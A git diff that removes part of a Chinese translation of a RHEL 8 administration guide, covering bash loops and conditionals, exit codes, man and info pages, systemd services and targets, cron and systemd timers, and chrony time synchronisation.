-要使用的外部命令的一个示例可以是`ls`。 让我们创建包含以下内容的`txtfiles.sh`脚本: - -```sh -#!/bin/bash -for TXTFILE in $(ls *.txt); do -  echo ''TXT file ${TXTFILE} found! '' -done -``` - -让它可执行并运行: - -```sh -[root@rhel8 ~]# chmod +x txtfiles.sh -[root@rhel8 ~]# ./txtfiles.sh -TXT file error.txt found! -TXT file non-listing.txt found! -TXT file usr-files.txt found! -TXT file var-files.txt found! -``` - -您可以看到我们现在如何遍历一组文件,例如,包括更改它们的名称、查找和替换其中的内容,或者简单地对选定的文件进行特定的备份。 - -我们已经看到了使用`for`循环迭代列表的几种方法,在自动化任务时非常有用。 现在,让我们转向脚本中的另一个编程功能——条件语句。 - -## if 条件句 - -有时,我们可能想要对列表中的一个元素执行不同的操作,或者如果发生了**条件**。 我们可以使用`if`条件句。 - -`if`条件语法为`if`:指定条件。 - -条件通常在括号`[`和`]`之间指定。 - -* `then`:指定动作 -* `fi`:闭合回路 - -让我们把之前的`hello.sh`脚本改成西班牙语的`hello to Madrid`,像这样: - -```sh -#!/bin/bash -PLACES_LIST=''Madrid Boston Singapore World'' -for PLACE in ${PLACES_LIST}; do -    if [ ${PLACE} = ''Madrid'' ]; then -        echo ''¡Hola ${PLACE}!'' -    fi -done -``` - -然后,运行: - -```sh -[root@rhel8 ~]# ./hello.sh -¡Hola Madrid! -``` - -我们有一个问题; 上面只写着`hello to Madrid`。 如果我们想在不匹配条件的代码上运行前面的代码会发生什么? 这时,我们使用`else`扩展条件语句,以获取不匹配的项。 语法如下: - -* `else`:当条件*不匹配*时,它被用作`then`元素。 - -现在我们有一个使用`else`的条件句的例子: - -```sh -#!/bin/bash -PLACES_LIST=''Madrid Boston Singapore World'' -for PLACE in ${PLACES_LIST}; do -    if [ ${PLACE} = ''Madrid'' ]; then -        echo ''¡Hola ${PLACE}!'' -    else -        echo ''hello ${PLACE}!'' -    fi -done -``` - -和现在我们可以运行它: - -```sh -[root@rhel8 ~]# ./hello.sh -¡Hola Madrid! -hello Boston! -hello Singapore! -hello World! -``` - -正如您所看到的,在脚本中使用条件是很简单的,并且提供了许多对运行命令的条件的控制。 我们现在需要控制什么时候某些东西可能不能正常运行。 这就是退出码(或错误码)的作用。 让我们开始吧! - -## 退出码 - -当一个程序运行时,它提供一个**退出码**,指定程序是否运行正常或是否存在问题。 *退出代码*存储在一个名为`$?`的特殊变量中。 - -让我们通过运行`ls hello.sh`来看看它: - -```sh -[root@rhel8 ~]# ls hello.sh -hello.sh -[root@rhel8 ~]# echo $? -0 -``` - -当程序运行 OK 时,*退出码*为零,`0`。 - -当我们试图列出一个不存在的文件(或不正确地运行任何其他命令,或有问题)时会发生什么? 让我们试着列出一个`nonexistent`文件: - -```sh -[root@rhel8 ~]# ls nonexistentfile.txt -ls: cannot access 'nonexistentfile.txt': No such file or directory -[root@rhel8 ~]# echo $? -2 -``` - -您可以看到,*退出码*与零不同。 我们将查看文档并检查与之相关的编号,以了解问题的性质。 - -在脚本中运行命令时,检查退出代码并相应地采取行动。 在下一节中,让我们回顾一下在哪里可以找到关于命令的进一步信息,比如退出码或其他选项。 - -# 使用系统文档资源 - -系统包含了一些资源,可以在使用它时帮助您,并指导您提高系统管理员技能。 这被称为**系统文档**。 让我们检查 RHEL 安装中默认情况下可用的三种不同资源:手册页、信息页和其他文档。 - -## Man 页面 - -用于获取文档的最常见资源是**手册页**,调用它们的命令也称为:`man`。 - -系统中安装的几乎所有实用程序都有一个帮助您使用它的手册页(换句话说,指定这些工具的所有选项以及它们的功能)。 您可以运行`man tar`并检查输出: - -```sh -[root@rhel8 ~]# man tar -TAR(1)                                    GNU TAR Manual                                   TAR(1) - -NAME -       tar - an archiving utility - -SYNOPSIS -   Traditional usage -       tar {A|c|d|r|t|u|x}[GnSkUWOmpsMBiajJzZhPlRvwo] [ARG...] - -   UNIX-style usage -       tar -A [OPTIONS] ARCHIVE ARCHIVE - -       tar -c [-f ARCHIVE] [OPTIONS] [FILE...] - -       tar -d [-f ARCHIVE] [OPTIONS] [FILE...] -``` - -你可以看到它(导航*箭头键,空格键,和/或*页面*和*),退出打这封信`q`(*退出【显示】)。*** - - *在`man`页有相关主题的部分。 使用`apropos`命令搜索这些内容非常简单。 让我们看看这个`tar`: - -```sh -[root@rhel8 ~]# apropos tar -dbus-run-session (1) - start a process as a new D-Bus session -dnf-needs-restarting (8) - DNF needs_restarting Plugin -dracut-pre-udev.service (8) - runs the dracut hooks before udevd is started -gpgtar (1)           - Encrypt or sign files into an archive -gtar (1)             - an archiving utility -open (1)             - start a program on a new virtual terminal (VT). -openvt (1)           - start a program on a new virtual terminal (VT). -scsi_start (8)       - start one or more SCSI disks -setarch (8)          - change reported architecture in new program environment and set personalit... -sg_reset (8)         - sends SCSI device, target, bus or host reset; or checks reset state -sg_rtpg (8)          - send SCSI REPORT TARGET PORT GROUPS command -sg_start (8)         - send SCSI START STOP UNIT command: start, stop, load or eject medium -sg_stpg (8)          - send SCSI SET TARGET PORT GROUPS command -systemd-notify (1)   - Notify service manager about start-up completion and other daemon status c... -systemd-rc-local-generator (8) - Compatibility generator for starting /etc/rc.local and /usr/sbin... -systemd.target (5)   - Target unit configuration -tar (1)              - an archiving utility -tar (5)              - format of tape archive files -unicode_start (1)    - put keyboard and console in unicode mode -``` - -如您所见,它不仅匹配`tar`,而且匹配`start`。 这不是完美的,但它可以提供与 tar 相关的有用信息,例如`gpgtar`。 - -手册页有一个部分。 正如您在前面的示例中看到的,对于`tar`,在两个部分中有手动页面,一个用于命令行实用程序(第 1 部分),另一个用于归档格式(第 5 部分): - -```sh -tar (1)              - an archiving utility -tar (5)              - format of tape archive files -``` - -我们可以通过访问第 5 节中的页面,通过运行以下命令来理解的格式: - -```sh -[root@rhel8 ~]# man 5 tar -``` - -现在我们可以看到`tar format`页面: - -```sh -TAR(5)                               BSD File Formats Manual                               TAR(5) - -NAME -     tar — format of tape archive files - -DESCRIPTION -     The tar archive format collects any number of files, directories, and other file system objects (symbolic links, device nodes, etc.) into a single stream of bytes.  The format was ... -``` - -您可以看到,对于学习更多关于正在使用的典型命令的信息,手册页是一个很好的资源。 这也是一个关于**Red Hat Certified System Administrator**考试的极好的资源。 一个建议是查看本章前面显示的命令的所有手册页,以及接下来的章节。 可以将手册页视为系统中的主要信息资源。 现在让我们回顾一下其他可用的信息资源。 - -## 信息页面 - -信息页**通常比手册页更具描述性,并且更具交互性。 他们更有助于开始一个话题。** - - **我们可以通过运行以下命令来尝试为`ls`命令获取`info`: - -```sh -[root@rhel8 ~]# info ls -``` - -我们可以看到它的信息页面: - -```sh -Next: dir invocation,  Up: Directory listing - -10.1 'ls': List directory contents -================================== - -The 'ls' program lists information about files (of any type, including -directories).  Options and file arguments can be intermixed arbitrarily, -``` - -信息页面可以*重定向到其他主题(下划线显示)*,可以将光标放在这些主题上并点击*进入*。 - -与手册页一样,按`q`退出。 - -请花一些时间来回顾本章所涵盖的主要主题的信息页面(在一些情况下,信息页面将不可用,但那些可能是非常有价值的)。 - -如果我们没有找到一个主题的人或信息页面怎么办? 让我们在下一节讨论这个问题。 - -## 其他文档资源 - -对于其他文档资源,可以进入`/usr/share/doc`目录。 在那里,您可以找到系统中安装的工具附带的其他文档。 - -让我们看看我们有多少项: - -```sh -[root@rhel8 doc]# cd /usr/share/doc/ -[root@rhel8 doc]# ls | wc -l -219 -``` - -您可以看到在`/usr/share/doc`下有 219 个可用目录。 - -作为一个很好的例子,让我们进入`bash`目录: - -```sh -[root@rhel8 doc]# cd bash/ -``` - -然后,让我们看一下使用`less`到读取的`INTRO`文件(记住,你使用`q`退出): - -```sh -[root@rhel8 bash]# ls -bash.html  bashref.html  FAQ  INTRO  RBASH  README -[root@rhel8 bash]# less INTRO -                       BASH - The Bourne-Again Shell - -Bash is the shell, or command language interpreter, that will appear in the GNU operating system.  Bash is an sh-compatible shell that -incorporates useful features from the Korn shell (ksh) and C shell -(csh).  It is intended to conform to the IEEE POSIX P1003.2/ISO 9945.2 Shell and Tools standard.  It offers functional improvements -``` - -为了更好地理解 bash,这是一本很好的读物。 现在你有很多文档资源,你将能够在你的日常任务以及**RHCSA**考试中使用。 - -# 总结 - -在本章中,我们学习了如何使用用户和`root`登录系统,了解了权限和安全的基础知识。 我们现在也更习惯使用带有自动完成功能的命令行,浏览目录和文件,打包和解包它们,重定向命令输出并解析它,甚至使用 shell 脚本自动化过程。 更重要的是,我们有一种方法,可以通过所包含的文档,在任何 RHEL 系统中获取关于我们正在做(或希望做)什么的信息。 这些技能是接下来章节的基础。 如果你感到停滞不前,或者你的进步没有你想象的那么快,不要犹豫,重新阅读这一章。 - -现在,是时候扩展你的知识,在接下来的章节中包含更高级的主题。 在下一章中,您将习惯用于常规操作的*工具,在其中您将回顾管理系统时所采取的最常见的操作。 享受吧!******** \ No newline at end of file diff --git a/docs/rhel8-admin/04.md b/docs/rhel8-admin/04.md deleted file mode 100644 index ef2c1f59..00000000 --- a/docs/rhel8-admin/04.md +++ /dev/null @@ -1,763 +0,0 @@ -# 四、常规操作工具 - -在本书的这一点上,我们已经安装了一个系统,并且我们已经介绍了一些我们可以创建的自动执行任务的脚本,所以我们已经到了可以关注系统本身的时候了。 - -要正确地配置一个系统,不仅需要安装它,还需要了解如何在特定时间运行任务,保持所有服务适当地运行,配置时间同步、服务管理、引导目标(运行级别)和计划任务,所有这些我们将在本章中讨论。 - -在本章中,您将学习如何检查服务的状态,如何启动、停止和排除故障,以及如何为您的服务器或整个网络保持系统时钟同步。 - -所涵盖的主题如下: - -* 使用 systemd 管理系统服务 -* 使用 cron 和 systemd 调度任务 -* 了解使用 chrony 和 ntp 进行时间同步 -* 检查空闲资源-内存和磁盘(free 和 df) -* 查找日志、使用日志和读取日志文件,包括日志保存和旋转 - -# 技术要求 - -你可以使用我们在本书开始时创建的虚拟机来完成这一章。 此外,为了测试*NTP 服务器*,可能需要创建第二个虚拟机,该虚拟机将作为客户端连接到第一个虚拟机,并遵循与第一个虚拟机相同的过程。 此外,需要的软件包将在文本中指明。 - -# 使用 systemd 管理系统服务 - -在本节中,您将了解如何使用**systemd**管理**系统服务**、运行时目标以及所有关于服务状态的信息。 您还将学习如何管理系统引导目标和应该在系统引导时启动的服务。 - -`systemd`(您可以在[https://www.freedesktop.org/wiki/Software/systemd/](https://www.freedesktop.org/wiki/Software/systemd/)中了解一些有关它的内容)被定义为用于管理系统的系统守护进程。 它是对系统引导和启动方式的一种重新设计,并探讨了与传统方式相关的局限性。 - -当我们考虑系统启动时,我们首先装入**内核**和**ramdisk**,然后执行,但是在这之后,服务和脚本将控制文件系统的可用性。 这有助于为我们的系统提供所需功能的服务做准备,例如以下内容: - -* 硬件检测 -* 额外的文件系统激活 -* 网络初始化(有线、无线等) -* 网络服务(时间同步、远程登录、打印机、网络文件系统等等) -* 空间的设置 - -然而,在`systemd`之前存在的大多数工具都以顺序的方式发挥作用,导致整个引导过程(从引导到用户登录)变得冗长并可能出现延迟。 - -传统上,这也意味着我们必须等待所需的服务完全可用,然后才能启动依赖它的下一个服务,这增加了总引导时间。 - -尝试一些方法,比如使用*monit*或其他工具,允许我们定义依赖项,监控过程,甚至从失败中恢复过来,但总的来说,它是重用现有的工具来执行其他功能,关于 fastest-booting 系统试图赢得比赛。 - -重要提示 - -`systemd`重新设计流程,注重简单性:少启动流程,多并行执行。 这个想法听起来很简单,但是需要重新设计很多在过去被认为是理所当然的东西,以专注于改进操作系统性能的新方法的需求。 - -这个设计,提供了许多好处,也带来了成本:它大大改变了系统用于启动,所以有很多的争议的采用`systemd`由不同的供应商,甚至一些社区努力提供 systemd-free 变体。 - -合理安排服务的启动方式,以便只启动需要的服务,这是实现效率的好方法,例如,当系统断开时,不需要启动蓝牙、打印机或网络服务,没有蓝牙硬件,或者没有人打印。 由于等待启动的服务较少,系统引导不会因这些等待而延迟,而是将重点放在真正需要关注的服务上。 - -除此之外,并行执行让我们每个服务需要花时间准备而不是让别人等,一般而言,并行运行服务初始化允许我们最大化的使用 CPU、磁盘、等等,等待时间为每个服务使用的其他服务活动。 - -`systemd`还在实际 daemon 启动之前预先创建侦听套接字,这样对其他服务有需求的服务就可以启动,并处于等待状态,直到它的依赖项启动。 这是在不丢失发送给它们的任何消息的情况下完成的,因此当服务最终启动时,它将对所有挂起的操作进行操作。 - -让我们学习更多关于*systemd*的知识,因为它将是我们在本章将要描述的几个操作所必需的。 - -*Systemd*带有单元的概念,它是不过是配置文件。 这些单元可以根据它们的文件扩展名分为不同的类型: - -![](img/Table_4.1.jpg) - -提示 - -不要因为不同的`systemd`单位类型而感到不知所措。 一般来说,最常见的是**服务**、**定时器**、**Socket**和**Target**。 - -当然,这些单元文件预计会在一些特定的文件夹中找到: - -![](img/Table_4.2.jpg) - -正如我们前面提到的套接字,路径、总线和更多的单元文件在系统访问该路径时被激活,允许服务在另一个服务需要它们时启动。 这为降低系统启动时间增加了更多的优化。 - -至此,我们了解了*systemd*单元类型。 现在,让我们关注单元文件的文件结构。 - -## 系统单元文件结构 - -让我们通过一个示例来熟悉一下:一个系统已经启用了`sshd`,我们需要在**运行级别**中初始化网络后让它运行,提供了连接性。 - -如前所述,`systemd`使用单元文件,我们可以检查前面提到的文件夹或用`systemctl list-unit-files`列出它们。 记住,每个文件都是一个配置文件,它定义了*systemd*应该做什么; 例如`/usr/lib/systemd/system/chronyd.service`: - -![Figure 4.1 – chronyd.service contents ](img/B16799_04_001.jpg) - -图 4.1 -时变性。 服务内容 - -该文件不仅定义了要启动的传统程序和 PID 文件,还定义了依赖关系、冲突和软依赖关系,这些信息为`systemd`提供了足够的信息,以决定正确的方法。 - -如果您熟悉“*inifiles*”,则该文件使用这种方法,其中,它对部分使用方括号`[`和`]`,然后对每个部分的设置使用`key=value`。 - -节名是区分大小写的,所以如果没有使用正确的命名约定,就不能正确地解释它们。 - -Section 指令的命名是这样的: - -* `[Unit]` -* `[Install]` - -每一种不同类型都有额外的条目: - -* `[Service]` -* `[Socket]` -* `[Mount]` -* `[Automount]` -* `[Swap]` -* `[Path]` -* `[Timer]` -* `[Slice]` - -如您所见,每种类型我们都有特定的部分。 如果我们执行`man systemd.unit`,它将为您提供示例,以及您正在使用的*systemd*版本的所有支持值: - -![Figure 4.2 – man page of systemd.unit ](img/B16799_04_002.jpg) - -图 4.2 - system .unit 的 man 页面 - -至此,我们已经回顾了单元文件的文件结构。 现在,让我们使用*systemctl*来实际管理服务的状态。 - -## 管理启动时启动和停止的服务 - -服务可以启用或禁用; 也就是说,这些服务将在系统启动时被激活或不会被激活。 - -如果您熟悉 RHEL 中以前可用的工具,那么通常使用`chkconfig`根据缺省的`rc.d/`设置来定义服务的状态。 - -可以通过以下命令启用服务,例如`sshd`: - -```sh -#systemctl enable sshd -``` - -也可以通过以下命令禁用它: - -```sh -#systemctl disable sshd -``` - -这将导致创建或删除`/etc/systemd/system/multi-user.target.wants/sshd.service`。 注意路径中的`multi-user.target`,它相当于我们用于配置其他方法(如**initscripts**)的运行级别。 - -提示 - -虽然为了兼容性,提供了**chkconfig**的传统用法,以便`chkconfig sshd on/off`或`service start/stop/status/restart sshd`有效,但最好习惯本章描述的`systemctl`方法。 - -前面的命令在启动时启用或禁用服务,但是为了执行立即的操作,我们需要发出不同的命令。 - -使用以下命令启动`sshd`服务: - -```sh -#systemctl start sshd -``` - -要停止它,使用以下命令: - -```sh -#systemctl stop sshd -``` - -当然,我们也可以检查服务的状态。 下面是通过`systemctl status sshd`查看`systemd`的例子: - -![Figure 4.3 – Status of sshd daemon ](img/B16799_04_003.jpg) - -图 4.3 - sshd 守护进程状态 - -这个状态信息提供关于单元文件定义服务的详细信息,它的默认状态在引导,它是否运行,其 PID,对其资源消耗一些其他的细节,和一些最近的日志条目的服务,这是非常有用的,当你调试简单服务启动失败。 - -要检查的一个重要的是`systemctl list-unit-files`的输出,因为它报告了系统中定义的单元文件,以及每个文件的当前状态和厂商预置。 - -现在我们已经讨论了如何启动/停止和状态检查服务,让我们来管理实际的系统启动状态本身。 - -## 管理启动目标 - -当谈到**运行级别**时,我们在引导时定义的默认状态非常重要。 - -运行级别根据使用情况定义了一组预定义的服务; 也就是说,它们定义了当我们使用特定功能时启动或停止哪些服务。 - -例如,有一些运行级别用于定义以下内容: - -* **暂停模式** -* **单用户模式** -* **多用户模式** -* **网络多用户** -* **图形化** -* **重启** - -当运行级别被`init $runlevel`更改时,每个运行级别都允许启动/停止一组预定义的服务。 当然,过去的关卡都是基于彼此,并且非常简单: - -* Halt 停止所有业务,然后停止或下电系统。 -* 单用户模式为一个用户启动 shell。 -* 多用户模式允许在虚拟终端上使用常规的登录守护进程。 -* 网络化就像多用户,但在网络开始时。 -* 图形化类似于网络,但通过显示管理器(`gdm`或其他)进行图形化登录。 -* 重新启动类似于停止,但在处理服务结束时,它会发出重新启动而不是停止。 - -这些运行级别(以及系统启动时的默认级别)过去在`/etc/inittab`中定义,但是文件占位符提醒我们: - -```sh -# inittab is no longer used. -# -# ADDING CONFIGURATION HERE WILL HAVE NO EFFECT ON YOUR SYSTEM. -# -# Ctrl-Alt-Delete is handled by /usr/lib/systemd/system/ctrl-alt-del.target -# -# systemd uses 'targets' instead of runlevels. By default, there are two main targets: -# -# multi-user.target: analogous to runlevel 3 -# graphical.target: analogous to runlevel 5 -# -# To view current default target, run: -# systemctl get-default -# -# To set a default target, run: -# systemctl set-default TARGET.target -``` - -因此,通过将这个更改为`systemd`,可以使用一种新的方法检查可用的引导目标并定义它们。 - -我们可以通过列出以下文件夹来找到可用的系统目标: - -```sh -#ls -l /usr/lib/systemd/system/*.target -``` - -或者更多,正确地,我们可以使用`systemctl`,像这样: - -```sh -#systemctl list-unit-files *.target -``` - -当您检查系统上的输出时,您将发现运行级别 0 到 6 的一些兼容性别名,它们提供了与传统别名的兼容性。 - -例如,对于常规的服务器使用,在没有图形模式的情况下运行时,默认目标将是`multi-user.target`,而在使用图形模式时,默认目标将是`graphical.target`。 - -我们可以根据`/etc/inittab`中占位符的指示,通过执行以下命令来定义新的运行级别: - -```sh -#sysemctl set-default TARGET.target -``` - -我们可以使用下面的命令来验证激活状态: - -```sh -#systemctl get-default -``` - -这就引出了下一个问题:*目标定义是什么样子的*? 让我们在下面的截图中检查输出: - -![Figure 4.4 – Contents of runlevel 5 from its target unit definition ](img/B16799_04_004.jpg) - -图 4.4 -运行级别 5 的目标单元定义的内容 - -如您所见,它被设置为另一个目标(**多用户)的依赖项。 目标**),并且对其他服务有一些要求,如**display-manager。 服务**,也有其他冲突,而目标只有在其他目标完成后才能达到。 - -这样,`systemd`就可以选择要启动的服务的正确顺序以及达到配置的启动目标的依赖项。 - -至此,我们已经讨论了服务的状态,以及如何在启动时启动、停止和启用它,但是我们还应该在系统中周期性地执行其他任务。 让我们进一步深入这个话题。 - -# 用 cron 和 systemd 调度任务 - -本节学习的技能主要用于调度系统中的周期性任务,为业务提供服务和维护。 - -对于常规的系统使用,需要定期执行任务,包括临时文件夹清理、更新缓存的刷新率和执行库存系统的签入等。 - -设置它们的传统方法是通过**cron**,这在 RHEL8 中通过`c``ronie`包提供。 - -Cronie 实现了一个与传统的*vixie cron*兼容的守护进程,并允许我们定义用户和系统的 crontab。 - -crontab 为必须执行的任务定义了几个参数。 让我们看看它是如何工作的。 - -## 全系统 crontab - -系统范围的 crontab 可以在`/etc/crontab`中定义,也可以在`/etc/cron.d`的单个文件中定义。 还存在其他文件夹,如`/etc/cron.hourly`、`/etc/cron.daily`、`/etc/cron.weekly`和`/etc/cron.monthly`。 - -在*每小时*、*每天*、*每周*或*每月*的文件夹中,您可以找到指向它们的脚本或符号链接。 当满足上次执行的时间间隔(1 小时、1 天、1 周、1 个月)时,执行脚本。 - -相反,在`/etc/crontab`或`/etc/cron.d`以及用户 crontabs 中,使用了作业的标准定义。 - -作业是通过指定与执行周期相关的参数、将执行作业的用户(除了用户 crontabs)和要执行的命令来定义的: - -```sh -# Run the hourly jobs -SHELL=/bin/bash -PATH=/sbin:/bin:/usr/sbin:/usr/bin -MAILTO=root -01 * * * * root run-parts /etc/cron.hourly -``` - -通过查看标准`/etc/crontab`文件,我们可以检查每个字段的含义: - -```sh -# Example of job definition: -# .---------------- minute (0 - 59) -# | .------------- hour (0 - 23) -# | | .---------- day of month (1 - 31) -# | | | .------- month (1 - 12) OR jan,feb,mar,apr ... -# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat -# | | | | | -# * * * * * user-name command to be executed -``` - -在此基础上,如果我们检查初始例子`01 * * * * root run-parts /etc/cron.hourly`,我们可以推导出如下: - -* 运行分钟`01`。 -* 每小时运行一次。 -* 每天跑步。 -* 每个月运行。 -* 每周每天跑步。 -* 以`root`的形式运行。 -* 执行`run-parts /etc/cron.hourly`命令。 - -简而言之,这意味着作业将作为`root`用户在每个小时的第一分钟运行。 - -有时,可能会看到一些指示,例如**/number*,这意味着作业将在该数字的每一个倍数执行一次。 例如,**/3*如果在第一列上,则每 3 分钟运行一次,如果在第二列上,则每 3 小时运行一次,依此类推。 - -我们可能从命令行执行的任何命令都可以通过 cron 执行,默认情况下,输出将发送给运行作业的用户。 通常的做法是,要么通过 crontab 文件中的`MAILTO`变量定义将接收电子邮件的用户,要么将用户重定向到相应的日志文件,以获得标准输出和标准错误(`stdout`和`stderr`)。 - -## 用户 crontab - -与系统范围的**crontab**一样,用户可以定义自己的 crontab,以便由用户执行任务。 例如,这对于为人类用户或服务的系统帐户运行定期脚本非常有用。 - -用户 crontabs 的语法与系统范围相同。 但是,用户名的列并不在那里,因为它总是在用户定义 crontab 本身时执行。 - -用户可以通过`crontab –l`查看 crontab: - -```sh -[root@el8-692807 ~]# crontab -l -no crontab for root -``` - -可以通过`crontab -e`编辑它来创建一个新的条目,这将打开一个文本编辑器,以便创建一个新条目。 - -让我们用一个例子来创建一个条目,像这样: - -```sh -*/2 * * * * date >> datecron -``` - -当我们退出编辑器时,它将回复如下: - -```sh -crontab: installing new crontab -``` - -这将在`/var/spool/cron/`文件夹中创建一个以创建它的用户名命名的文件。 它是一个文本文件,所以您可以直接检查其内容。 - -一段时间后(至少 2 分钟),我们将在`$HOME`文件夹中有一个包含每次执行内容的文件(因为我们正在使用*追加*重定向; 即`>>`): - -```sh -[root@el8-692807 ~]# cat datecron -Mon Jan 11 21:02:01 GMT 2021 -Mon Jan 11 21:04:01 GMT 2021 -``` - -既然我们已经介绍了传统的 crontab,让我们来学习关于系统的做事方式; 也就是说,使用计时器。 - -## 系统计时器 - -除了常规的**Cron Daemon**之外,还有一个 Cron 风格的 systemd 特性是使用**计时器**。 计时器允许我们通过一个单元文件来定义将要执行的任务。 - -我们可以用下面的代码检查我们系统中已经有的那些: - -```sh ->systemctl list-unit-files *.timer -... -timers.target static -dnf-makecache.timer enabled -fstrim.timer disabled -systemd-tmpfiles-clean.timer static -... -``` - -让我们看看,例如,`fstrim.timer`,它用于 SSD 驱动器上执行`/usr/lib/systemd/system/fstrim.timer`微调: - -```sh -[Unit] -Description=Discard unused blocks once a week -Documentation=man:fstrim -.. -[Timer] -OnCalendar=weekly -AccuracySec=1h -Persistent=true -… -[Install] -WantedBy=timers.target -``` - -前一个计时器为`fstrim.service`设置了每周执行一次: - -```sh -[Unit] -Description=Discard unused blocks - -[Service] -Type=oneshot -ExecStart=/usr/sbin/fstrim -av -``` - -正如`fstrim -av`命令所示,我们只执行一次。 - -的优点之一服务计时器作为单位的文件,类似于服务本身,在于它可以部署和更新通过一般的*`/etc/cron.d/`文件*cron 守护进程,它是由*systemd*。 - -现在我们对如何安排任务有了更多的了解,但要全面了解,安排总是需要适当的时间,所以我们将在接下来讨论这个问题。 - -# 了解 chrony 和 NTP 的时间同步 - -通过本节,您将了解对**时间同步**的重要性以及如何配置该业务。 - -对于连接的系统,在时间方面保持一个真实的来源是非常重要的(考虑银行账户、传入的汇款线、传出的支付,以及必须正确地打上时间戳并进行分类的更多内容)。 此外,还要考虑跟踪用户连接、问题发生等之间的日志; 它们都需要同步,以便我们能够在所有涉及的不同系统之间进行诊断和调试。 - -您可能认为在系统供应时定义的系统时钟应该没问题,但是设置系统时钟是不够的,因为时钟可能会漂移; 内部电池可以导致时钟漂移或甚至复位,甚至强烈的 CPU 活动也会影响它。 为了保持时钟的准确,它们需要定期与一个固定漂移的参考时钟同步,并试图在本地时钟与远程参考时钟比较之前预测未来漂移。 - -例如,系统时钟可以与*GPS*单元进行同步,或者更容易与与更精确的时钟(其他 GPS 单元、原子钟等)连接的其他系统进行同步。 **网络时间协议**(**NTP**)是一种基于 UDP 的网络协议,用于维护客户端和服务器之间的通信。 - -提示 - -NTP 按层级对服务器进行组织。 0 层设备是一个 GPS 设备或直接向服务器发送信号的原子钟,1 层服务器(主服务器)连接到 0 层设备,2 层服务器连接到 1 层服务器,以此类推…… 这种层次结构使我们能够减少更高层次服务器的使用,同时也为我们的系统保持一个可靠的时间源。 - -客户端连接到服务器并比较接收的时间,以减少网络延迟的影响。 - -让我们看看 NTP 客户机是如何工作的。 - -## NTP 客户机 - -RHEL8,*chrony*作为服务器(启用时)和客户端(通过`chronyc`命令),和它有一些特性,使其适用于当前的硬件和用户需求,如网络波动(暂停/恢复或脆弱的连接笔记本电脑)。 - -一个有趣的特性是,*chrony*在其初始同步后,**不会步进**时钟,这意味着时间不会*跳跃*。 相反,系统时钟运行得更快或更慢,以便在一段时间后,它将与它正在使用的参考时钟同步。 从操作系统和应用的角度来看,这使得时间是连续的:与时钟相比,秒的速度比它们应该的速度快或慢,直到它们与参考时钟相匹配。 - -Chrony 通过`/etc/chrony.conf`配置并充当客户机,因此它连接到服务器以检查它们是否符合成为时间源的条件。 传统的**服务器**指令和**池**指令的主要区别是指令可以接收多个条目,而指令只能使用一个条目。 可以有多个服务器和池,因为在删除副本后,服务器将被添加到可能的源列表中。 - -为*池*或*服务器*指令,有一些选项(`man chrony.conf`中描述),如`iburst`,使更快的检查,以便迅速过渡到一个同步状态。 - -实际的时间来源可以用`chronyc sources`检查: - -![Figure 4.5 – chronyc sources output ](img/B16799_04_005.jpg) - -图 4.5 -同步源输出 - -正如我们所看到的,我们可以根据第一列(**M**)知道每个服务器的状态: - -* **^**:这是服务器 -* **=**:这是一个同伴 - -在第二列(S)中,我们可以看到每个条目的不同状态: - -* *****:这是我们当前的同步服务器。 -* **+**:这是另一个可接受的时间源。 -* **?** :表示源失去了网络连接。 -* **x**:该服务器被认为是一个假股票(它的时间被认为与其他来源不一致)。 -* **~**:具有高可变性的源(在守护进程启动时也会出现)。 - -因此,我们可以看到我们的系统连接到一个正在考虑`ts1.sct.de`引用的服务器,这是一个二级服务器。 - -更详细的信息可以通过`chronyc tracking`命令查看: - -![Figure 4.6 – Chronyc tracking output ](img/B16799_04_006.jpg) - -图 4.6 - Chronyc 跟踪输出 - -这提供了关于我们的时钟和参考时钟的更详细的信息。 上述截图中的每个字段都有以下含义: - -* **字段**:描述。 -* **Reference ID**:系统已同步的服务器的 ID 和名称/IP。 -* **Stratum**:我们的阶层水平。 在这个例子中,我们的同步服务器是一个 3 层时钟。 -* **参考时间**:上次处理参考文献的时间。 -* **系统时间**:当运行在正常模式(没有时间跳过)时,表示系统离参考时钟的距离或距离。 -* **最近偏移量**:上次时钟更新的估计偏移量。 如果是正数,说明我们的当地时间比消息源早。 -* **RMS 偏移**:偏移值的长期平均值。 -* **频率**:是系统时钟在*chronyd*没有固定的情况下出错的频率,用百万分之一表示。 -* **剩余频率**:反映当前参考时钟测量值之间的任何差异。 -* **Skew**:频率上的估计误差。 -* **根延迟**:到一级同步服务器的总网络延迟。 -* **根分散**:通过与我们同步到的地层-1 服务器连接的所有计算机累积的总分散。 -* **更新时间间隔**:最近两次时钟更新的时间间隔。 -* **Leap status**: It can be Normal, Insert, Delete, or Not synchronized. It reports the leap status. - - 提示 - - 不要低估你手边的信息来源。 请记住,当您准备 RHCSA 考试时,可以在考试期间检查系统中可用的信息:手册页、包含在程序中的文档(`/usr/share/doc/program/`),等等。 例如,这里列出的每个字段的更详细信息可以通过`man chronyc`命令找到。 - -要使用附加选项配置客户机,而不是在安装时提供的选项或通过 kickstart 文件提供的选项,我们可以编辑`/etc/chrony.cnf`文件。 - -让我们学习如何将我们的系统转换为我们网络的 NTP 服务器。 - -## NTP 服务器 - -正如前面介绍的,*chrony*也可以配置为您的网络的服务器。 在这种模式下,我们的系统将向其他主机提供准确的时钟信息,而不消耗外部带宽或来自上层服务器的资源。 - -这个配置也通过`/etc/chrony.conf`文件执行,我们将在其中添加一个新指令; 即`allow`: - -```sh -# Allow NTP client access from all hosts -allow all -``` - -此更改使*chrony*能够侦听所有主机请求。 或者,我们可以定义要侦听的子网或主机,例如`allow 1.1.1.1`。 可以使用多个指令来定义不同的子网。 或者,您可以使用*deny*指令来阻止特定的主机或子网到达 NTP 服务器。 - -服务时间从我们的服务器已经与之同步的基础以及一个外部 NTP 服务器开始,但是让我们考虑一个没有连接的环境。 在这种情况下,我们的服务器将不会连接到外部源,它将不会提供时间。 - -*chrony*允许我们为我们的服务器定义一个虚假的阶层。 这是通过配置文件中的`local`指令完成的。 这允许守护进程获得更高的本地层,以便它可以为其他主机提供时间; 例如: - -```sh -local stratum 3 orphan -``` - -使用这个指令,我们设置当地层 3 和我们使用**孤儿**选项,使一个特殊的模式中,所有的服务器与当地同等地层被忽略,除非没有其他可以选择来源,及其引用 ID 小于当地的一个。 这意味着我们可以在断开连接的网络中设置多个 NTP 服务器,但其中只有一个是引用。 - -现在我们已经讨论了时间同步,接下来我们将深入研究资源监视。 稍后,我们将讨论日志记录。 所有这些都与我们对系统的时间参考有关。 - -# 检查空闲资源-内存和磁盘(free 和 df) - 